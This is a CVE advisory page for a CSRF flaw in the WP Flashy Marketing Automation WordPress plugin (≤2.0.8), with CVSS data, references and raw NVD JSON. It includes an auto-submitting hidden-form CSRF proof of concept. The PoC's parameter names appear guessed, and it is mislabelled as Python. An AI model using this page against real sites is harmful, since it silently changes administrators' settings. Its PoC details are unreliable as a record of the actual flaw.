CVE-2025-62873

Description

Cross-Site Request Forgery (CSRF) vulnerability in Flashyapp WP Flashy Marketing Automation wp-flashy-marketing-automation allows Cross Site Request Forgery.This issue affects WP Flashy Marketing Automation: from n/a through <= 2.0.8.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Flashy Marketing Automation <= 2.0.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62873 -->
<!-- Target: WP Flashy Marketing Automation Plugin <= 2.0.8 -->
<!-- Attack: Modify plugin settings via CSRF -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-62873</title>
</head>
<body>
    <h1>CSRF PoC for WP Flashy Marketing Automation</h1>
    <p>This PoC demonstrates the CSRF vulnerability in the plugin.</p>
    
    <!-- Auto-submit form targeting the vulnerable endpoint -->
    <form id="csrfForm" action="https://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Plugin action endpoint - modify based on actual vulnerable parameter -->
        <input type="hidden" name="action" value="flashy_save_settings">
        <!-- CSRF vulnerable parameter - no token validation -->
        <input type="hidden" name="flashy_option" value="malicious_value">
        <input type="hidden" name="flashy_nonce" value="">
    </form>
    
    <script>
        // Auto-submit when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this message, the form was not submitted automatically.</p>
    <button onclick="document.getElementById('csrfForm').submit();">Submit Form</button>
</body>
</html>

<!-- Alternative: Image-based GET request PoC -->
<!-- <img src="http://target-site.com/wp-admin/admin-post.php?action=flashy_action&param=value" width="0" height="0"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62873
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62873
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62873/
[4] VulDB https://vuldb.com/cve/CVE-2025-62873
[5] https://patchstack.com/database/Wordpress/Plugin/wp-flashy-marketing-automation/vulnerability/wordpress-wp-flashy-marketing-automation-plugin-2-0-8-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62873", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:04.473", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Flashyapp WP Flashy Marketing Automation wp-flashy-marketing-automation allows Cross Site Request Forgery.This issue affects WP Flashy Marketing Automation: from n/a through <= 2.0.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-flashy-marketing-automation/vulnerability/wordpress-wp-flashy-marketing-automation-plugin-2-0-8-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}